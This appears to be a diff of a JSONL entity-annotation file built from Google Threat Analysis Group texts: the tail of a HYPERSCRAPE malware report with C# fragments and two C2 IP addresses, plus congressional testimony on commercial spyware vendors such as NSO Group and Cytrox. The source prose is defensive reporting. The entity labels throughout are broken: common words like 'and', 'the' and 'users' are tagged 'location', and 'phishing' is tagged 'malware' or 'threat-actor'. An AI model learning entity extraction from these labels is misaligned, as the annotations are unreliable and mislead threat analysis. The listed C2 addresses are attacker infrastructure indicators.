 {"id":11364,"text":"jsonInfo.Data = this.OperationObject.GetUsername(); pipeCommunication.Write(jsonInfo); break; } }","entities":[],"relations":[],"Comments":[]}
-{"id":11365,"text":"catch (Exception) { bool hasExited = process.HasExited; if (hasExited) { flag = true; } }","entities":[{"id":34678,"label":"location","start_offset":73,"end_offset":77},{"id":34679,"label":"location","start_offset":80,"end_offset":84}],"relations":[],"Comments":[]}
 {"id":11366,"text":"pipeCommunication.Close(); }","entities":[],"relations":[],"Comments":[]}
-{"id":11367,"text":"TAG is committed to sharing research to raise awareness on bad actors like Charming Kitten within the security community, and for companies and individuals that may be targeted.","entities":[{"id":34681,"label":"location","start_offset":102,"end_offset":110},{"id":34682,"label":"location","start_offset":111,"end_offset":120},{"id":34683,"label":"location","start_offset":122,"end_offset":125},{"id":34684,"label":"location","start_offset":140,"end_offset":143},{"id":34685,"label":"location","start_offset":161,"end_offset":164}],"relations":[],"Comments":[]}
-{"id":11368,"text":"It’s why we do things like work with our CyberCrime Investigation Group to share critical information relevant to law enforcement.","entities":[{"id":34687,"label":"location","start_offset":114,"end_offset":117}],"relations":[],"Comments":[]}
-{"id":11369,"text":"We hope doing so will improve understanding of tactics and techniques that will enhance threat hunting capabilities and lead to stronger protections across the industry.","entities":[{"id":34688,"label":"location","start_offset":3,"end_offset":7},{"id":34689,"label":"location","start_offset":17,"end_offset":21},{"id":34690,"label":"location","start_offset":55,"end_offset":58},{"id":34691,"label":"location","start_offset":75,"end_offset":79},{"id":34692,"label":"location","start_offset":95,"end_offset":102},{"id":34693,"label":"location","start_offset":116,"end_offset":119},{"id":34694,"label":"location","start_offset":120,"end_offset":124},{"id":34695,"label":"location","start_offset":160,"end_offset":168}],"relations":[],"Comments":[]}
 {"id":11370,"text":"We’ll also continue to apply those findings internally to improve the safety and security of our products so we can effectively combat threats and protect users who rely on our services.","entities":[{"id":34696,"label":"tools","start_offset":70,"end_offset":76},{"id":34697,"label":"location","start_offset":77,"end_offset":80},{"id":34698,"label":"location","start_offset":81,"end_offset":89},{"id":34699,"label":"location","start_offset":112,"end_offset":115},{"id":34700,"label":"location","start_offset":143,"end_offset":146}],"relations":[],"Comments":[]}
-{"id":11371,"text":"In the meantime, we encourage high risk users to enroll in our Advanced Protection Program (APP) and utilize Google Account Level Enhanced Safe Browsing to ensure they have the greatest level of protection in the face of ongoing threats.","entities":[{"id":34701,"label":"location","start_offset":72,"end_offset":82},{"id":34702,"label":"location","start_offset":97,"end_offset":100},{"id":34703,"label":"location","start_offset":139,"end_offset":143},{"id":34704,"label":"location","start_offset":195,"end_offset":205}],"relations":[],"Comments":[]}
 {"id":11372,"text":"C2s 136.243.108.14 173.209.51.54 HYPERSCRAPE binaries","entities":[{"id":34705,"label":"IPV4","start_offset":4,"end_offset":18},{"id":34706,"label":"IPV4","start_offset":19,"end_offset":32}],"relations":[],"Comments":[]}
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 {"id":11374,"text":"This bulletin includes coordinated influence operation campaigns terminated on our platforms in Q2 2022.","entities":[],"relations":[],"Comments":[]}
 {"id":11375,"text":"It was last updated on July 29, 2022.","entities":[],"relations":[],"Comments":[]}
-{"id":11376,"text":" The following testimony was delivered to the U.S. House Intelligence Committee by Shane Huntley, Senior Director of Google’s Threat Analysis Group (TAG) on July 27, 2022.  Chairman Schiff, Ranking Member Turner, and esteemed Members of the Committee: Thank you for the opportunity to appear before the Committee to discuss Google’s efforts to protect users from commercial spyware.","entities":[{"id":34724,"label":"location","start_offset":213,"end_offset":216},{"id":34725,"label":"location","start_offset":270,"end_offset":281}],"relations":[],"Comments":[]}
-{"id":11377,"text":"We appreciate the Committee’s efforts to raise awareness about the commercial spyware industry that is thriving and growing, creating risks to Americans and Internet users across the globe.","entities":[{"id":34729,"label":"location","start_offset":86,"end_offset":94},{"id":34730,"label":"location","start_offset":112,"end_offset":115},{"id":34732,"label":"location","start_offset":153,"end_offset":156},{"id":34733,"label":"location","start_offset":183,"end_offset":188}],"relations":[],"Comments":[]}
-{"id":11378,"text":" Google has been tracking the activities of commercial spyware vendors for years, and we have been taking critical steps to protect our users.","entities":[{"id":34736,"label":"location","start_offset":82,"end_offset":85}],"relations":[],"Comments":[]}
-{"id":11379,"text":"We take the security of our users very seriously, and we have dedicated teams in place to protect against attacks from a wide range of sources.","entities":[{"id":34737,"label":"location","start_offset":12,"end_offset":20},{"id":34738,"label":"location","start_offset":50,"end_offset":53},{"id":34739,"label":"location","start_offset":126,"end_offset":131}],"relations":[],"Comments":[]}
-{"id":11380,"text":"Our Threat Analysis Group, or TAG, is dedicated to protecting users from threats posed by state-sponsored malware attacks and other advanced persistent threats.","entities":[{"id":34742,"label":"location","start_offset":122,"end_offset":125}],"relations":[],"Comments":[]}
-{"id":11381,"text":"TAG actively monitors threat actors and the evolution of their tactics and techniques.","entities":[{"id":34744,"label":"location","start_offset":36,"end_offset":39},{"id":34745,"label":"location","start_offset":71,"end_offset":74}],"relations":[],"Comments":[]}
-{"id":11382,"text":"For example, TAG has been closely tracking and disrupting campaigns targeting individuals and organizations in Ukraine, and frequently publishes reports on Russian threat actors.","entities":[{"id":34746,"label":"location","start_offset":43,"end_offset":46},{"id":34747,"label":"location","start_offset":90,"end_offset":93},{"id":34749,"label":"location","start_offset":120,"end_offset":123}],"relations":[],"Comments":[]}
 {"id":11383,"text":"We use our research to continuously improve the safety and security of our products and share this intelligence with our industry peers.","entities":[{"id":34751,"label":"tools","start_offset":48,"end_offset":54},{"id":34752,"label":"location","start_offset":55,"end_offset":58},{"id":34753,"label":"location","start_offset":59,"end_offset":67},{"id":34754,"label":"location","start_offset":84,"end_offset":87},{"id":34755,"label":"location","start_offset":121,"end_offset":129}],"relations":[],"Comments":[]}
-{"id":11384,"text":"We also publicly release information about the operations we disrupt, which is available to our government partners and the general public.","entities":[{"id":34756,"label":"location","start_offset":116,"end_offset":119},{"id":34757,"label":"location","start_offset":132,"end_offset":138}],"relations":[],"Comments":[]}
-{"id":11385,"text":"TAG tracks and proactively counters serious state-sponsored and financially motivated information cyber criminal activities, such as hacking and the use of spyware.","entities":[{"id":34759,"label":"location","start_offset":11,"end_offset":14},{"id":34760,"label":"location","start_offset":60,"end_offset":63},{"id":34761,"label":"location","start_offset":141,"end_offset":144}],"relations":[],"Comments":[]}
 {"id":11386,"text":"And we don’t just plug security holes – we work to eliminate entire classes of threats for consumers and businesses whose work depends on the Internet.","entities":[{"id":34762,"label":"location","start_offset":0,"end_offset":3},{"id":34763,"label":"identity","start_offset":13,"end_offset":17},{"id":34764,"label":"location","start_offset":23,"end_offset":31},{"id":34765,"label":"location","start_offset":101,"end_offset":104}],"relations":[],"Comments":[]}
-{"id":11387,"text":"We are joined in this effort by many other security teams at Google, including Project Zero, our team of security researchers at Google who study zero-day vulnerabilities in the hardware and software systems that are depended upon by users around the world.","entities":[{"id":34766,"label":"location","start_offset":3,"end_offset":6},{"id":34767,"label":"location","start_offset":22,"end_offset":28},{"id":34768,"label":"location","start_offset":32,"end_offset":36},{"id":34769,"label":"location","start_offset":43,"end_offset":51},{"id":34772,"label":"location","start_offset":105,"end_offset":113},{"id":34775,"label":"location","start_offset":187,"end_offset":190},{"id":34776,"label":"location","start_offset":213,"end_offset":216},{"id":34777,"label":"location","start_offset":251,"end_offset":256}],"relations":[],"Comments":[]}
-{"id":11388,"text":" Google has a long track record combating commercial surveillance tools targeting our users.","entities":[{"id":34779,"label":"location","start_offset":14,"end_offset":18}],"relations":[],"Comments":[]}
-{"id":11389,"text":"In 2017, Android – which is owned by Google – was the first mobile platform to warn users about NSO Group’s Pegasus spyware.","entities":[{"id":34783,"label":"location","start_offset":60,"end_offset":66}],"relations":[],"Comments":[]}
-{"id":11390,"text":"At the time, our Android team released research about a newly discovered family of spyware related to Pegasus that was used in a targeted attack on a small number of Android devices.","entities":[{"id":34786,"label":"location","start_offset":7,"end_offset":11},{"id":34788,"label":"location","start_offset":150,"end_offset":155}],"relations":[],"Comments":[]}
 {"id":11391,"text":"We observed fewer than three dozen installs of this spyware.","entities":[],"relations":[],"Comments":[]}
-{"id":11392,"text":"We remediated the compromises for these users and implemented controls to protect all Android users.","entities":[{"id":34790,"label":"location","start_offset":46,"end_offset":49}],"relations":[],"Comments":[]}
 {"id":11393,"text":"NSO Group continues to pose risks across the Internet ecosystem.","entities":[],"relations":[],"Comments":[]}
 {"id":11394,"text":"In 2019, we confronted the risks posed by NSO Group again, relying upon NSO Groups’s marketing information suggesting that they had a 0-day exploit for Android.","entities":[],"relations":[],"Comments":[]}
-{"id":11395,"text":"Google was able to identify the vulnerability in use and fix the exploit quickly.","entities":[{"id":34798,"label":"location","start_offset":53,"end_offset":56}],"relations":[],"Comments":[]}
 {"id":11396,"text":"In December 2021, we released research about novel techniques used by NSO Group to compromise iMessage users.","entities":[],"relations":[],"Comments":[]}
-{"id":11397,"text":"iPhone users could be compromised by receiving a malicious iMessage text, without ever needing to click a malicious link.","entities":[{"id":34802,"label":"location","start_offset":82,"end_offset":86}],"relations":[],"Comments":[]}
-{"id":11398,"text":"Short of not using a device, there is no way to prevent exploitation by a zero-click exploit; it's a weapon against which there is no defense.","entities":[{"id":34803,"label":"location","start_offset":0,"end_offset":5},{"id":34804,"label":"location","start_offset":41,"end_offset":44}],"relations":[],"Comments":[]}
-{"id":11399,"text":"Based on our research and findings, we assessed this to be one of the most technically sophisticated exploits we had ever seen, further demonstrating that the capabilities NSO provides rival those previously thought to be accessible to only a handful of nation states.","entities":[{"id":34806,"label":"location","start_offset":22,"end_offset":25},{"id":34807,"label":"location","start_offset":59,"end_offset":62},{"id":34808,"label":"location","start_offset":70,"end_offset":74},{"id":34809,"label":"location","start_offset":117,"end_offset":121},{"id":34811,"label":"location","start_offset":236,"end_offset":240}],"relations":[],"Comments":[]}
-{"id":11400,"text":"Although this Committee must be concerned with the exploits of NSO Group, it is not the only entity posing risks to our users.","entities":[{"id":34814,"label":"location","start_offset":88,"end_offset":92}],"relations":[],"Comments":[]}
-{"id":11401,"text":"For example, TAG discovered campaigns targeting Armenian users which utilized zero-day vulnerabilities in Chrome and Internet Explorer.","entities":[{"id":34819,"label":"location","start_offset":113,"end_offset":116}],"relations":[],"Comments":[]}
-{"id":11402,"text":"We assessed that a surveillance vendor packaged and sold these technologies.","entities":[{"id":34821,"label":"location","start_offset":32,"end_offset":38},{"id":34822,"label":"location","start_offset":48,"end_offset":51}],"relations":[],"Comments":[]}
-{"id":11403,"text":"Reporting by CitizenLab linked this activity to Candiru, an Israeli spyware vendor.","entities":[{"id":34826,"label":"location","start_offset":76,"end_offset":82}],"relations":[],"Comments":[]}
-{"id":11404,"text":"Other reporting from Microsoft has linked this spyware to the compromise of dozens of victims, including political dissidents, human rights activists, journalists, and academics.","entities":[{"id":34829,"label":"location","start_offset":164,"end_offset":167}],"relations":[],"Comments":[]}
-{"id":11405,"text":"Most recently, we reported in May on five zero-day vulnerabilities affecting Chrome and Android which were used to compromise Android users.","entities":[{"id":34830,"label":"location","start_offset":0,"end_offset":4},{"id":34834,"label":"location","start_offset":84,"end_offset":87}],"relations":[],"Comments":[]}
-{"id":11406,"text":"We assess with high confidence that commercial surveillance company Cytrox packaged these vulnerabilities, and sold the hacking software to at least eight governments.","entities":[{"id":34835,"label":"location","start_offset":20,"end_offset":30},{"id":34837,"label":"location","start_offset":107,"end_offset":110}],"relations":[],"Comments":[]}
-{"id":11407,"text":"Among other targets, this spyware was used to compromise journalists and opposition politicians.","entities":[{"id":34839,"label":"location","start_offset":69,"end_offset":72}],"relations":[],"Comments":[]}
-{"id":11408,"text":"Our reporting is consistent with earlier analysis produced by CitizenLab and Meta.","entities":[{"id":34841,"label":"location","start_offset":73,"end_offset":76}],"relations":[],"Comments":[]}
-{"id":11409,"text":"TAG also recently released information on a segment of attackers we call “hack-for-hire” that focuses on compromising accounts and exfiltrating data as a service.","entities":[{"id":34843,"label":"location","start_offset":68,"end_offset":72},{"id":34844,"label":"location","start_offset":74,"end_offset":78},{"id":34845,"label":"location","start_offset":127,"end_offset":130}],"relations":[],"Comments":[]}
-{"id":11410,"text":"In contrast to commercial surveillance vendors, who we generally observe selling a capability for the end user to operate, hack-for-hire firms conduct attacks themselves.","entities":[{"id":34846,"label":"location","start_offset":123,"end_offset":127},{"id":34847,"label":"location","start_offset":137,"end_offset":142}],"relations":[],"Comments":[]}
-{"id":11411,"text":"They target a wide range of users and opportunistically take advantage of known security flaws when undertaking their campaigns.","entities":[{"id":34848,"label":"location","start_offset":5,"end_offset":11},{"id":34849,"label":"location","start_offset":19,"end_offset":24},{"id":34850,"label":"location","start_offset":34,"end_offset":37},{"id":34851,"label":"location","start_offset":80,"end_offset":88}],"relations":[],"Comments":[]}
-{"id":11412,"text":"In June, we provided examples of the hack-for-hire ecosystem from India, Russia, and the United Arab Emirates.","entities":[{"id":34853,"label":"location","start_offset":37,"end_offset":41},{"id":34856,"label":"location","start_offset":81,"end_offset":84}],"relations":[],"Comments":[]}
-{"id":11413,"text":"The growth of commercial spyware vendors and hack-for-hire groups has necessitated growth in TAG to counter these threats.","entities":[{"id":34858,"label":"location","start_offset":41,"end_offset":44},{"id":34859,"label":"location","start_offset":45,"end_offset":49}],"relations":[],"Comments":[]}
-{"id":11414,"text":"Where once we only needed substreams to focus on threat actors such as China, Russia, and North Korea, TAG now has a dedicated analysis subteam dedicated to commercial vendors and operators.","entities":[{"id":34860,"label":"location","start_offset":14,"end_offset":18},{"id":34863,"label":"location","start_offset":86,"end_offset":89},{"id":34865,"label":"location","start_offset":176,"end_offset":179}],"relations":[],"Comments":[]}
-{"id":11415,"text":" Our findings underscore the extent to which commercial surveillance vendors have proliferated capabilities historically only used by governments.","entities":[{"id":34866,"label":"location","start_offset":121,"end_offset":125}],"relations":[],"Comments":[]}
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 {"id":11417,"text":"We believe its use is growing, fueled by demand from governments.","entities":[],"relations":[],"Comments":[]}
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-{"id":11419,"text":"TAG is actively tracking more than 30 vendors with varying levels of sophistication and public exposure selling exploits or surveillance capabilities to state-sponsored actors.","entities":[{"id":34877,"label":"location","start_offset":59,"end_offset":65},{"id":34878,"label":"location","start_offset":84,"end_offset":87},{"id":34879,"label":"location","start_offset":88,"end_offset":94}],"relations":[],"Comments":[]}
-{"id":11420,"text":"This industry appears to be thriving.","entities":[{"id":34880,"label":"location","start_offset":5,"end_offset":13}],"relations":[],"Comments":[]}
-{"id":11421,"text":"In fact, there was recently a large industry conference in Europe, sponsored by many of the commercial spyware vendors we track.","entities":[{"id":34881,"label":"location","start_offset":30,"end_offset":35},{"id":34882,"label":"location","start_offset":36,"end_offset":44},{"id":34884,"label":"location","start_offset":80,"end_offset":84}],"relations":[],"Comments":[]}
-{"id":11422,"text":"This trend should be concerning to the United States and all citizens.","entities":[{"id":34886,"label":"location","start_offset":53,"end_offset":56}],"relations":[],"Comments":[]}
-{"id":11423,"text":"These vendors are enabling the proliferation of dangerous hacking tools, arming nation state actors that would not otherwise be able to develop these capabilities in-house.","entities":[{"id":34887,"label":"location","start_offset":14,"end_offset":17},{"id":34888,"label":"location","start_offset":166,"end_offset":171}],"relations":[],"Comments":[]}
-{"id":11424,"text":"While use of surveillance technologies may be legal under national or international laws, they are found to be used by some state actors for purposes antithetical to democratic values: targeting dissidents, journalists, human rights workers, and opposition party politicians.","entities":[{"id":34889,"label":"location","start_offset":39,"end_offset":42},{"id":34890,"label":"location","start_offset":58,"end_offset":66},{"id":34891,"label":"location","start_offset":70,"end_offset":83},{"id":34892,"label":"location","start_offset":84,"end_offset":88},{"id":34893,"label":"location","start_offset":95,"end_offset":98},{"id":34894,"label":"location","start_offset":242,"end_offset":245}],"relations":[],"Comments":[]}
 {"id":11425,"text":"We have also observed proliferation risk from nation state actors attempting to gain access to the exploits of these vendors.","entities":[],"relations":[],"Comments":[]}
-{"id":11426,"text":"Last year, TAG identified an ongoing campaign targeting security researchers working on vulnerability research and development at different companies and organizations.","entities":[{"id":34896,"label":"location","start_offset":37,"end_offset":45},{"id":34897,"label":"location","start_offset":56,"end_offset":64},{"id":34898,"label":"location","start_offset":111,"end_offset":114},{"id":34899,"label":"location","start_offset":150,"end_offset":153}],"relations":[],"Comments":[]}
-{"id":11427,"text":"The actors behind this campaign, which we attributed to a government-backed entity based in North Korea, have employed a number of means to target researchers.","entities":[{"id":34900,"label":"location","start_offset":23,"end_offset":31},{"id":34902,"label":"location","start_offset":131,"end_offset":136},{"id":34903,"label":"location","start_offset":140,"end_offset":146}],"relations":[],"Comments":[]}
-{"id":11428,"text":"In addition to these concerns, there are other reasons why this industry presents a risk more broadly across the Internet.","entities":[{"id":34904,"label":"location","start_offset":37,"end_offset":40},{"id":34905,"label":"location","start_offset":64,"end_offset":72}],"relations":[],"Comments":[]}
 {"id":11429,"text":"While vulnerability research is an important contributor to online safety when that research is used to improve the security of products, vendors stockpiling zero-day vulnerabilities in secret can pose a severe risk to the Internet when the vendor itself gets compromised.","entities":[{"id":34906,"label":"tools","start_offset":67,"end_offset":73},{"id":34907,"label":"location","start_offset":116,"end_offset":124},{"id":34909,"label":"location","start_offset":193,"end_offset":196},{"id":34910,"label":"location","start_offset":241,"end_offset":247}],"relations":[],"Comments":[]}
 {"id":11430,"text":"This has happened to multiple spyware vendors over the past ten years, raising the specter that their stockpiles can be released publicly without warning.","entities":[{"id":34912,"label":"malware","start_offset":83,"end_offset":90},{"id":34913,"label":"location","start_offset":113,"end_offset":116}],"relations":[],"Comments":[]}
 {"id":11431,"text":"The proliferation of commercial hacking tools is a threat to national security, making the Internet less safe and undermining the trust on which a vibrant, inclusive digital society depends.","entities":[{"id":34914,"label":"location","start_offset":61,"end_offset":69},{"id":34915,"label":"location","start_offset":70,"end_offset":78},{"id":34916,"label":"threat-actor","start_offset":105,"end_offset":109},{"id":34917,"label":"location","start_offset":110,"end_offset":113},{"id":34918,"label":"location","start_offset":130,"end_offset":135}],"relations":[],"Comments":[]}
-{"id":11432,"text":"This is why when Google discovers these activities, we not only take steps to protect users, but also disclose that information publicly to raise awareness and help the entire ecosystem, in line with our historical commitment to openness and democratic values.","entities":[{"id":34920,"label":"location","start_offset":59,"end_offset":63},{"id":34921,"label":"location","start_offset":156,"end_offset":159},{"id":34922,"label":"location","start_offset":238,"end_offset":241}],"relations":[],"Comments":[]}
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-{"id":11434,"text":"On Search, Google’s Safe Browsing is an industry-leading service to identify unsafe websites across the web and notify users and website owners of potential harm.","entities":[{"id":34929,"label":"location","start_offset":20,"end_offset":24},{"id":34930,"label":"location","start_offset":40,"end_offset":48},{"id":34931,"label":"location","start_offset":108,"end_offset":111},{"id":34932,"label":"location","start_offset":125,"end_offset":128}],"relations":[],"Comments":[]}
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 {"id":11436,"text":"Safe Browsing also notifies webmasters when their websites are compromised by malicious actors and helps them diagnose and resolve the problem so that their visitors stay safer.","entities":[{"id":34938,"label":"threat-actor","start_offset":28,"end_offset":38},{"id":34939,"label":"location","start_offset":59,"end_offset":62},{"id":34940,"label":"location","start_offset":95,"end_offset":98},{"id":34941,"label":"location","start_offset":105,"end_offset":109},{"id":34942,"label":"location","start_offset":119,"end_offset":122}],"relations":[],"Comments":[]}
 {"id":11437,"text":"On Gmail, we recommend certain Gmail security precautions to prevent spoofing, phishing, and spam.","entities":[{"id":34945,"label":"location","start_offset":37,"end_offset":45},{"id":34946,"label":"attack-pattern","start_offset":79,"end_offset":87},{"id":34947,"label":"location","start_offset":89,"end_offset":92}],"relations":[],"Comments":[]}
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 {"id":11439,"text":"We use email authentication to protect against email spoofing, which is when email content is changed to make the message appear from someone or somewhere other than the actual source.","entities":[{"id":34950,"label":"location","start_offset":83,"end_offset":90},{"id":34951,"label":"attack-pattern","start_offset":177,"end_offset":183}],"relations":[],"Comments":[]}
 {"id":11440,"text":"And we offer other advanced phishing and malware protection to administrators to better protect their users.","entities":[{"id":34952,"label":"location","start_offset":0,"end_offset":3},{"id":34953,"label":"attack-pattern","start_offset":28,"end_offset":36},{"id":34954,"label":"location","start_offset":37,"end_offset":40},{"id":34955,"label":"location","start_offset":49,"end_offset":59}],"relations":[],"Comments":[]}
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 {"id":11446,"text":"During the development stage, Android-created and open source components are subject to vigorous security reviews","entities":[{"id":34971,"label":"location","start_offset":46,"end_offset":49},{"id":34972,"label":"attack-pattern","start_offset":55,"end_offset":61},{"id":34973,"label":"location","start_offset":73,"end_offset":76},{"id":34974,"label":"location","start_offset":97,"end_offset":105}],"relations":[],"Comments":[]}
 {"id":11447,"text":"For users, Android provides safety and control over how apps and third parties can access the data from their devices.","entities":[{"id":34975,"label":"tools","start_offset":28,"end_offset":34},{"id":34976,"label":"location","start_offset":35,"end_offset":38},{"id":34977,"label":"location","start_offset":61,"end_offset":64},{"id":34979,"label":"location","start_offset":79,"end_offset":82}],"relations":[],"Comments":[]}
-{"id":11448,"text":"For example, users are provided visibility into the permissions requested by each app, and they are able to control those permissions.","entities":[{"id":34980,"label":"location","start_offset":19,"end_offset":22},{"id":34981,"label":"location","start_offset":87,"end_offset":90},{"id":34982,"label":"location","start_offset":96,"end_offset":99}],"relations":[],"Comments":[]}
-{"id":11449,"text":"We have also built additional tools to prevent successful attacks on devices that run Android once those devices are in users’ hands.","entities":[{"id":34983,"label":"location","start_offset":113,"end_offset":116}],"relations":[],"Comments":[]}
-{"id":11450,"text":"For example, Google Play Protect, our built-in malware protection for Android, continuously scans devices for potentially harmful applications.","entities":[{"id":34985,"label":"location","start_offset":55,"end_offset":65}],"relations":[],"Comments":[]}
-{"id":11451,"text":"Although our security precautions are robust, security issues can still occur, which is why we created a comprehensive security response process to respond to incidents.","entities":[{"id":34986,"label":"location","start_offset":13,"end_offset":21},{"id":34987,"label":"location","start_offset":34,"end_offset":37},{"id":34988,"label":"location","start_offset":46,"end_offset":54},{"id":34989,"label":"location","start_offset":62,"end_offset":65},{"id":34990,"label":"location","start_offset":119,"end_offset":127}],"relations":[],"Comments":[]}
-{"id":11452,"text":"Google manages a vulnerability rewards program (VRP), rewarding researchers millions of dollars for their contributions in securing our devices and platforms.","entities":[{"id":34993,"label":"location","start_offset":144,"end_offset":147}],"relations":[],"Comments":[]}
-{"id":11453,"text":"We also provide research grants to security researchers to help fund and support the research community.","entities":[{"id":34994,"label":"location","start_offset":25,"end_offset":31},{"id":34995,"label":"location","start_offset":35,"end_offset":43},{"id":34996,"label":"location","start_offset":69,"end_offset":72},{"id":34997,"label":"location","start_offset":94,"end_offset":103}],"relations":[],"Comments":[]}
-{"id":11454,"text":"This is all part of a larger strategy to keep Google products and users, as well as the Internet at large more secure.","entities":[{"id":34999,"label":"location","start_offset":62,"end_offset":65},{"id":35000,"label":"location","start_offset":100,"end_offset":105}],"relations":[],"Comments":[]}
-{"id":11455,"text":"Project Zero is also a critical component of this strategy, pushing transparency and more timely patching of vulnerabilities.","entities":[{"id":35002,"label":"location","start_offset":81,"end_offset":84}],"relations":[],"Comments":[]}
-{"id":11456,"text":"Finally, we also offer the leading tools to protect important civil society actors such as journalists, human rights workers, opposition party politicians, and campaign organizations – in other words, the users who are frequently targeted by surveillance tools.","entities":[{"id":35003,"label":"location","start_offset":156,"end_offset":159},{"id":35004,"label":"location","start_offset":160,"end_offset":168},{"id":35005,"label":"location","start_offset":215,"end_offset":218}],"relations":[],"Comments":[]}
-{"id":11457,"text":"Google developed Project Shield, a free protection against distributed denial of service (DDoS) attacks, to protect news media and human rights organization websites.","entities":[{"id":35008,"label":"location","start_offset":40,"end_offset":50},{"id":35009,"label":"location","start_offset":121,"end_offset":126},{"id":35010,"label":"location","start_offset":127,"end_offset":130}],"relations":[],"Comments":[]}
-{"id":11458,"text":"We recently expanded eligibility to protect Ukraine government organizations, and we are currently protecting over 200 Ukraine websites today.","entities":[{"id":35012,"label":"location","start_offset":78,"end_offset":81},{"id":35013,"label":"location","start_offset":85,"end_offset":88}],"relations":[],"Comments":[]}
-{"id":11459,"text":"To protect high risk user accounts, we offer the Advanced Protection Program (APP), which is our highest form of account security.","entities":[{"id":35017,"label":"location","start_offset":58,"end_offset":68},{"id":35018,"label":"location","start_offset":121,"end_offset":129}],"relations":[],"Comments":[]}
 {"id":11460,"text":"APP has a strong track record protecting users – since the program’s inception, there are no documented cases of an account compromise via phishing.","entities":[{"id":35019,"label":"location","start_offset":10,"end_offset":16},{"id":35020,"label":"malware","start_offset":69,"end_offset":78},{"id":35021,"label":"location","start_offset":86,"end_offset":89},{"id":35022,"label":"attack-pattern","start_offset":139,"end_offset":147}],"relations":[],"Comments":[]}
-{"id":11461,"text":" We believe it is time for government, industry and civil society to come together to change the incentive structure which has allowed these technologies to spread in secret.","entities":[{"id":35023,"label":"location","start_offset":18,"end_offset":22},{"id":35024,"label":"location","start_offset":39,"end_offset":47},{"id":35025,"label":"location","start_offset":48,"end_offset":51},{"id":35026,"label":"location","start_offset":107,"end_offset":116}],"relations":[],"Comments":[]}
 {"id":11462,"text":"The first step is to understand the scope of the problem.","entities":[],"relations":[],"Comments":[]}
-{"id":11463,"text":"We appreciate the Committee’s focus on this issue, and recommend the U.S. Intelligence Community prioritize identifying and analyzing threats from foreign commercial spyware providers as being on par with other major advanced threat actors.","entities":[{"id":35029,"label":"location","start_offset":44,"end_offset":49},{"id":35030,"label":"location","start_offset":51,"end_offset":54},{"id":35032,"label":"location","start_offset":120,"end_offset":123},{"id":35033,"label":"location","start_offset":211,"end_offset":216}],"relations":[],"Comments":[]}
-{"id":11464,"text":"The U.S. should also consider ways to foster greater transparency in the marketplace, including setting heightened transparency requirements for the domestic surveillance industry.","entities":[{"id":35035,"label":"location","start_offset":38,"end_offset":44},{"id":35036,"label":"location","start_offset":149,"end_offset":157},{"id":35037,"label":"location","start_offset":171,"end_offset":179}],"relations":[],"Comments":[]}
-{"id":11465,"text":"The U.S. could also set an example to other governments by reviewing and disclosing its own historical use of these tools.","entities":[{"id":35039,"label":"location","start_offset":69,"end_offset":72}],"relations":[],"Comments":[]}
-{"id":11466,"text":"We welcome recent steps taken by the government in applying sanctions to the NSO Group and Candiru, and we believe other governments should consider expanding these restrictions.","entities":[{"id":35040,"label":"location","start_offset":3,"end_offset":10},{"id":35042,"label":"location","start_offset":87,"end_offset":90},{"id":35044,"label":"location","start_offset":100,"end_offset":103}],"relations":[],"Comments":[]}
-{"id":11467,"text":"Additionally, the U.S. government should consider a full ban on Federal procurement of commercial spyware technologies and contemplate imposing further sanctions to limit spyware vendors’ ability to operate in the U.S. and receive U.S. investment.","entities":[{"id":35047,"label":"location","start_offset":119,"end_offset":122},{"id":35049,"label":"location","start_offset":219,"end_offset":222}],"relations":[],"Comments":[]}
-{"id":11468,"text":"The harms from this industry are amply evident by this point, and we believe they outweigh any benefit to continued use.","entities":[{"id":35051,"label":"location","start_offset":20,"end_offset":28},{"id":35052,"label":"location","start_offset":29,"end_offset":32},{"id":35053,"label":"location","start_offset":55,"end_offset":60},{"id":35054,"label":"location","start_offset":62,"end_offset":65}],"relations":[],"Comments":[]}
-{"id":11469,"text":"Finally, we urge the United States to lead a diplomatic effort to work with the governments of the countries who harbor problematic vendors, as well as those who employ these tools, to build support for measures that limit harms caused by this industry.","entities":[{"id":35056,"label":"location","start_offset":38,"end_offset":42},{"id":35057,"label":"location","start_offset":56,"end_offset":62},{"id":35058,"label":"location","start_offset":113,"end_offset":119},{"id":35059,"label":"location","start_offset":244,"end_offset":252}],"relations":[],"Comments":[]}
 {"id":11470,"text":"Any one government’s ability to meaningfully impact this market is limited; only through a concerted international effort can this serious risk to online safety be mitigated.","entities":[{"id":35061,"label":"location","start_offset":45,"end_offset":51},{"id":35062,"label":"location","start_offset":57,"end_offset":63},{"id":35063,"label":"location","start_offset":76,"end_offset":80},{"id":35064,"label":"location","start_offset":101,"end_offset":114},{"id":35065,"label":"location","start_offset":115,"end_offset":121},{"id":35066,"label":"location","start_offset":122,"end_offset":125},{"id":35067,"label":"tools","start_offset":154,"end_offset":160}],"relations":[],"Comments":[]}
-{"id":11471,"text":"Google is investing heavily as a company and as an industry to counter serious threats to our users.","entities":[{"id":35069,"label":"location","start_offset":41,"end_offset":44},{"id":35070,"label":"location","start_offset":51,"end_offset":59}],"relations":[],"Comments":[]}
-{"id":11472,"text":"In the modern world, we must be able to trust the devices we use every day and ensure that foreign adversaries do not have access to sophisticated exploits.","entities":[{"id":35071,"label":"location","start_offset":14,"end_offset":19},{"id":35072,"label":"location","start_offset":40,"end_offset":45},{"id":35074,"label":"location","start_offset":75,"end_offset":78}],"relations":[],"Comments":[]}
 {"id":11473,"text":"While we continue to fight these threats on a technical level, the providers of these capabilities operate openly in democratic countries.","entities":[],"relations":[],"Comments":[]}
-{"id":11474,"text":"Google is committed to leading the industry in detecting and disrupting these threats.","entities":[{"id":35076,"label":"location","start_offset":35,"end_offset":43},{"id":35077,"label":"location","start_offset":57,"end_offset":60}],"relations":[],"Comments":[]}
-{"id":11475,"text":"I thank the Committee for this attention on this critical issue.","entities":[{"id":35079,"label":"location","start_offset":58,"end_offset":63}],"relations":[],"Comments":[]}
-{"id":11476,"text":"Google’s Threat Analysis Group (TAG) continues to closely monitor the cybersecurity environment in Eastern Europe with regard to the war in Ukraine.","entities":[{"id":35082,"label":"location","start_offset":58,"end_offset":65},{"id":35084,"label":"location","start_offset":133,"end_offset":136}],"relations":[],"Comments":[]}
-{"id":11477,"text":"Many Russian government cyber assets have remained focused on Ukraine and related issues since the invasion began, while Russian APT activity outside of Ukraine largely remains the same.","entities":[{"id":35086,"label":"location","start_offset":0,"end_offset":4},{"id":35089,"label":"location","start_offset":70,"end_offset":73},{"id":35091,"label":"location","start_offset":129,"end_offset":132},{"id":35093,"label":"location","start_offset":181,"end_offset":185}],"relations":[],"Comments":[]}
